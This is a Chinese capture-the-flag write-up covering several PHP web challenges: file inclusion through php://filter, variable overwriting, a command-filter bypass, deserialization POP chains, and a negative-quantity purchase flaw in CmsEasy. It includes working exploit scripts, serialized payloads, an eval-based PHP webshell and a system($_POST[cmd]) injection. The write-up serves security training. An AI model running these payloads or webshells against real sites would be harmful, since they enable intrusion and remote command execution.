Web
简单的web
PHP代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
echo "try to read source ?action=";
$action = $_GET['action'];
if (isset($action)) {
if (preg_match("/base|data|input|zip|zlib/i", $action)) {
echo "<script>alert('you are A Hacker!!!')</script>";
} else {
include("$action");
}
}
?>
文件包含,但是过滤了很多关键字,常见的PHP伪协议无法使用。但是可以进行远程文件包含:
赛后看到还有一种解法,仍然可以通过PHP伪协议,通过ROT13编码包含Nginx日志文件找到flag路径,然后包含flag文件获得答案:
/?action=php://filter/read=string.rot13/resource=/var/log/nginx/access.log
你玩过2048吗
玩过,合成数字就行了。
查看Jscript代码,定位到关键逻辑:
当分数达到2048时,显示flag,直接运行Jscript代码即可:
confirm(Decode('l%C2%85%C2%94%C2%96%C2%97%C2%9A%C3%81%C3%A1%C3%87%C3%87%C3%8C%C2%9Fq%C2%9A%C3%83%C2%97id%C2%95%C2%94af%C2%97%C3%85%C2%98jgipj%C2%96%C3%89%C2%9Dne%C2%96%C2%97gh%C2%AF'));
// DASCTF{faff98ba631d015bc552791ed950f162}
EasyPhp-v2
右键查看源码,看到PHP代码:
<?php
foreach ($_POST as $item => $value){
$$item=$$value;
$secret = $$item;
}
foreach ($_GET as $key => $value){
if ($key=='flag'){
$str=$value;
$$str=$secret;
}
}
if (isset($hehe)){
echo "<center>".$hehe."</center>";
}
//flag+flaag=DASCTF{XXXXXXX}
?>
考察变量覆盖漏洞,使用POST方式传入value为flag
的键值对,使得flag
比变量即flag的前半段赋给secret
变量。再通过GET方式使得hehe
变量的值等于secret
,即flag
变量,打印输出即可。
# GET
?flag=hehe
# POST
a=flag
a=fllag
black
主页啥也没有,view-source查看源代码,发现step.php页面。直接访问的话会快速跳转到black.php空白页面,这里如果查看源代码的话会发现还有一个EDG.php页面,访问之:
看到一个图片,查看源码,页面返回了图片文件的Base64编码:
关注到URL的参数如下:
/EDG.php?img=353736643331376136343537343637353531366433343364
发现该参数经过了两次Base64编码和两次十六进制编码,解码如下:
353736643331376136343537343637353531366433343364
# 十六进制解码
576d317a64574675516d343d
# 十六进制解码
Wm1zdWFuQm4=
# Base64解码
ZmsuanBn
# Base64解码
fk.jpg
将本页面EDG.php
进行如上编码,传入img参数:
/EDG.php?img=3535366335363533353334353738373535313664333936613531353433303339
返回页面查看源代码,将返回数据进行Base64解码,得到EDG.php
的源码:
<center>
<?php
error_reporting(0);
header('content-type:text/html;charset=utf-8');
include("flag.php");//flag in flag.php
$cmd = $_GET['cmd'];
if (!isset($_GET['img']))
echo '<script language=javascript>window.location.href="EDG.php?img=353736643331376136343537343637353531366433343364"</script>';
$file = base64_decode(base64_decode(hex2bin(hex2bin($_GET['img']))));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo 'ä½ æƒ³è¦flagï¼Ÿè¡Œï¼Œé‚£æˆ‘ç»™ä½ å§~';
echo '<script language=javascript>window.location.href="flag.php"</script>';
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|diff|file|echo|sh|'|\"|`|;|,|\\|xA0|{|}|[|]|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
system($cmd);
}?>
进行代码审计,可以通过GET方式的cmd
参数进行命令执行,但是过滤了很多命令,使用反斜杠\
绕过即可:
EDG.php?img=123&cmd=who\ami
sqlnm
本题可以参考我之前写的一篇Writeup:
某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-CSDN博客
我当时是用SQL盲注直接解的,赛后发现其实本题应该后面还有一个Vim源码泄露,我也补充进之前这篇文章了,详情请移步观看。
WriteIt
主页啥也没有,查看robots.txt,发现oh_somesecret页面:
<?php
highlight_file(__FILE__);
class OhYouFindIt{
public $content = "Hello Hacker.<br>";
function __destruct(){
echo $this->content;
}
}
class writeshell{
public $filename;
public $content;
function __toString()
{
if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
system('rm -rf ../upload/*');
file_put_contents("../upload/".$this->filename, $this->content);
echo "ok~ You File is"."../upload/".$this->filename;
}else{
exit("Go Way Hacker");
}
return "";
}
}
$content = $_GET['content'];
if (!isset($content))
{
$a = new OhYouFindIt();
}else{
unserialize(base64_decode($content));
}
?>
进行代码审计,通过OhYouFindIt
类的析构方法进入writeshell
类的__toString
方法,实现任意文件写入。
使用/.
绕过file_put_contents
函数的扩展名黑名单过滤即可。
EXP如下:
<?php
class OhYouFindIt{
public $content;
}
class writeshell{
public $filename;
public $content;
}
$shell = new writeshell();
$shell->filename = "shell.php/.";
$shell->content = '<?php eval($_POST["pass"]);?>';
$oh = new OhYouFindIt();
$oh->content = $shell;
echo base64_encode(serialize($oh));
// TzoxMToiT2hZb3VGaW5kSXQiOjE6e3M6NzoiY29udGVudCI7TzoxMDoid3JpdGVzaGVsbCI6Mjp7czo4OiJmaWxlbmFtZSI7czoxMToic2hlbGwucGhwLy4iO3M6NzoiY29udGVudCI7czoyOToiPD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4iO319
?>
显示文件上传成功:
成功执行命令:
flagshop
进入,是一个EasyCms的商城页面,发现精选商品中有一个商品是admin,可以进行购买。
此处存在CmsEasy7.6.3.2的一个逻辑漏洞,可以不要钱购买任意商品。购买过程中修改生成订单报文,将thisnum
参数修改为负数:
跳转订单确认页,价格变为负数:
直接0元购admin,购买成功后返回管理员账号密码:admin/1qasw23edfr4!@#
使用管理员账号登录后台管理端,发现后台存在模板界面,且提供修改功能。修改模板内容,写入木马,保存访问连接即可。
EZPHP
PHP代码审计题:
<?php
error_reporting(0);
function daddslashes($str)
{
if (is_array($str)) {
$keys = array_keys($str);
foreach ($keys as $key) {
$val = $str[$key];
unset($str[$key]);
$str[addslashes($key)] = daddslashes($val);
}
}else{
$str = htmlspecialchars(addslashes(trim($str)), ENT_QUOTES);
}
return $str;
}
function edit_lang() {
if ($_POST['update']) {
$lang_path='./lang_cn.php';
$content=file_get_contents($lang_path);
$replace="'".$_POST['key']."'=>'".$_POST['val']."',";
$content=str_replace(');',"\n".$replace.');',$content);
file_put_contents($lang_path,$content);
echo "更新成功"."<br>";
get_lang();
}
else{
get_lang();
}
}
function get_lang(){
echo json_encode(include('./lang_cn.php'),JSON_UNESCAPED_UNICODE);
}
function init_lang(){
copy('./lang_cn.php.bak','./lang_cn.php');
echo "初始化成功"."<br>";
get_lang();
}
$lists = array('_COOKIE','_GET','_POST');
foreach($lists as $list){
$$list = daddslashes($$list);
}
if($_GET['edit']){
edit_lang();
}elseif($_GET['init']){
init_lang();
}else{
highlight_file(__FILE__);
}
?>
题目提供了一个模板文件,文件里就是一个字符串数组。可以直接访问lang_cn.php.bak
,得到文件内容为:
<?php
return
array(
'name'=>'姓名',
'login'=>'登录',
'register'=>'注册',
'search'=>'搜索',
);
?>
继续看代码,题目提供了初始化、查询、更新功能,更新功能每次可以添加一个键值对,key 和 value 的值由前端输入,但是要经过过滤函数在某些字符前加上斜杠转义,并转换为 HTML 实体。
但注意实现更新逻辑的代码段,是将代码中的);
替换为\n'key'=>'val',);
,这里有点像 CmsEasy 的后台RCE,第一次更新的时候没问题,但是如果数组中的值包含);
字符的话,就会产出问题。
$replace="'".$_POST['key']."'=>'".$_POST['val']."',";
$content=str_replace(');',"\n".$replace.');',$content);
例如,第一次插入的数据为,将);
写进数组的值:
update=1&key=a&val=);
此时lang_cn.php
文件内容应为:
<?php
return
array(
'name'=>'姓名',
'login'=>'登录',
'register'=>'注册',
'search'=>'搜索',
'a'=>');',
);
?>
页面显示:
第二次插入的数据为:
update=1&key=.phpinfo());/*&val=a
此时我们同构替换数组值中的);
,成功地逃逸到单引号外部,成功执行PHP函数,lang_cn.php
文件内容应为:
<?php
return
array(
'name'=>'姓名',
'login'=>'登录',
'register'=>'注册',
'search'=>'搜索',
'a'=>''.phpinfo());/*'=>'a',
);',
'.phpinfo());/*'=>'a',
);
?>*/
成功解析:
我们可以注意到,第一次请求与key的值没有关系,只需要value的值包含);
就行了;而第二次请求的值和value没有关系,因为已经被我们传入的key值注释掉了。
因此,Payload可以简化为一个,连发两笔即可:
?edit=1
update=1&key=.system($_POST[cmd]));/*&val=);
成功执行命令,查找flag即可:
babypop
PHP反序列化代码审计:
<?php
highlight_file(__FILE__);
class Welcome{
public $name;
public function __destruct()
{
echo "welcome".$this->name;
}
}
class A{
public $name;
public function __toString(){
return "Hello".$this->name;
}
}
class Name{
public $class;
public $name;
public function __toString()
{
return $this->class->name;
}
}
class B{
public $class;
public function __get($name)
{
($this->class)();
}
}
class C{
public $func;
public $args;
public function __invoke()
{
if(!is_array($this->args)){
die("args must be array!");
}
call_user_func($this->func,$this->args);
}
}
class Flag{
public $a;
public $flag;
public $c;
public function getflag()
{
$this->flag = "echo('DASCTF{Th1s_1s_Fake_Flllag}');";
$this->a = $this->b;
echo eval($this->flag);
}
}
$o = $_GET['o'];
if(isset($o)){
unserialize($_GET['o']);
}
?>
经过分析,入口类为Welcome
,通过析构函数开始进入函数调用,调用链为:
Welcom
-> A
-> Name
-> B
-> C
-> Flag
下面进行详细分析:
- Welcome:通过析构函数开始执行,通过打印字符串调用A的
__toString
函数; - A:再次通过字符串转换调用Name的
__toString
函数; - Name:通过调用class参数的name参数,进入B的
__get
函数; - B:通过函数调用的方式,进入C的
__invoke
函数; - C:这里限制了
call_user_func
函数的第二个参数必须为数组,因此无法直接使用常规RCE进行命令执行。可以再次调用call_user_func
,采用对象的回调方式,数组的第一个元素传入一个Flag对象,第二个元素传入getflag字符串,调用Flag的getflag
函数。 - Flag:
getflag
函数中给flag字段重新赋值了,我们无法直接通过传入参数控制flag的值。但可以利用引用的特性间接给flag赋值,从而实现RCE。
EXP如下:
<?php
class Welcome{
public $name;
}
class A{
public $name;
}
class Name{
public $class;
public $name;
}
class B{
public $class;
}
class C{
public $func;
public $args;
}
class Flag{
public $a;
public $flag;
public $c;
}
$flag = new Flag();
$flag->a = &$flag->flag;
$flag->b = "system('whoami');";
$c = new C();
$c->func = "call_user_func";
$c->args = array($flag,"getflag");
$b = new B();
$b->class = $c;
$name = new Name();
$name->name = "";
$name->class = $b;
$a = new A();
$a->name = $name;
$wel = new Welcome();
$wel->name = $a;
echo serialize($wel);
// O:7:"Welcome":1:{s:4:"name";O:1:"A":1:{s:4:"name";O:4:"Name":2:{s:5:"class";O:1:"B":1:{s:5:"class";O:1:"C":2:{s:4:"func";s:14:"call_user_func";s:4:"args";a:2:{i:0;O:4:"Flag":4:{s:1:"a";N;s:4:"flag";R:9;s:1:"c";N;s:1:"b";s:17:"system('whoami');";}i:1;s:7:"getflag";}}}s:4:"name";s:0:"";}}}
?>
执行命令:
eval
PHP反序列化代码审计:
<?php
class wake{
public $das;
public $ctf;
public function __construct()
{
echo "Welcome DASCTF!";
}
public function __wakeup()
{
$this->das->login();
}
}
class cat_flag
{
public $das;
public $ctf;
public function login()
{
echo "Login Success!";
}
}
class get_flag
{
public $das;
public $ctf;
public function login()
{
$this->tmp2->get_flag();
}
}
class hackme
{
public $das;
public $ctf;
public function __toString()
{
$this->das->hack();
return "really flag";
}
}
class first_flag
{
public $das="Hello World!";
public $ctf;
public function __call($a,$b)
{
echo $this->ctf.$this->das;
}
}
class firststep
{
public $das;
public $ctf;
public function hack()
{
if (isset($_POST["DAS"])){
if (preg_match('/system|exec|phpinfo|\"|\'/i',$_POST["DAS"])){
die("Hacker!!!!");
}
if (strlen($_POST["DAS"])<=17){
$code = preg_replace("/[a-zA-Z0-9]/e",$_POST['DAS'],$_POST['CTF']);
}else{
die("Too long!!!");
}
}
}
}
if(isset($_GET['DASCTF']))
{
unserialize($_GET['DASCTF']);
}
else{
highlight_file(__FILE__);
}
?>
经过分析,入口类为wake
,通过__wakeup
函数开始进入函数调用,调用链为:
wake
-> get_flag
-> first_flag
-> hackme
-> first_step
下面进行详细分析:
- wake:通过反序列化进入
__wake
函数开始执行,函数内调用das参数的login
函数,通过POP链构造进入get_flag
的同名函数; - get_flag:login函数内调用了tmp2变量的
get_flag
函数,可以从此处进入first_flag的__call
函数; - first_flag:通过字符串转换,进入hackme的
__toString
函数; - hackme:函数内调用das参数的
hack
函数,可以进入first_step
的同名函数; - first_step:利用
preg_replace
函数进行命令执行即可。题目中过滤了命令执行函数的关键字,使用传参绕过即可。
preg_replace
函数用来执行一个正则表达式的搜索和替换:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
当规则表达式的修饰符使用/e
修饰符时,则存在代码执行漏洞,例如:
preg_replace("/hello/e",$_POST["cmd"],"hello world");
综上,EXP如下:
<?php
class wake{
public $das;
public $ctf;
}
class cat_flag
{
public $das;
public $ctf;
}
class get_flag
{
public $das;
public $ctf;
}
class hackme
{
public $das;
public $ctf;
}
class first_flag
{
public $das;
public $ctf;
}
class firststep
{
public $das;
public $ctf;
}
$firststep = new firststep();
$hackme = new hackme();
$hackme->das = $firststep;
$firstflag = new first_flag();
$firstflag->ctf = $hackme;
$getflag = new get_flag();
$getflag->tmp2 = $firstflag;
$wake = new wake();
$wake->das = $getflag;
echo serialize($wake);
// O:4:"wake":2:{s:3:"das";O:8:"get_flag":3:{s:3:"das";N;s:3:"ctf";N;s:4:"tmp2";O:10:"first_flag":2:{s:3:"das";N;s:3:"ctf";O:6:"hackme":2:{s:3:"das";O:9:"firststep":2:{s:3:"das";N;s:3:"ctf";N;}s:3:"ctf";N;}}}s:3:"ctf";N;}
?>
Bypass过滤:
DAS=eval($_POST[a])&CTF=123&a=system("whoami");
成功执行命令:
参考链接
EasyCms的后台RCE漏洞:某Easy 漏洞挖掘 - 先知社区文章来源:https://www.toymoban.com/news/detail-550576.html
Sqlnm题解:某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-CSDN博客文章来源地址https://www.toymoban.com/news/detail-550576.html
到了这里,关于某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!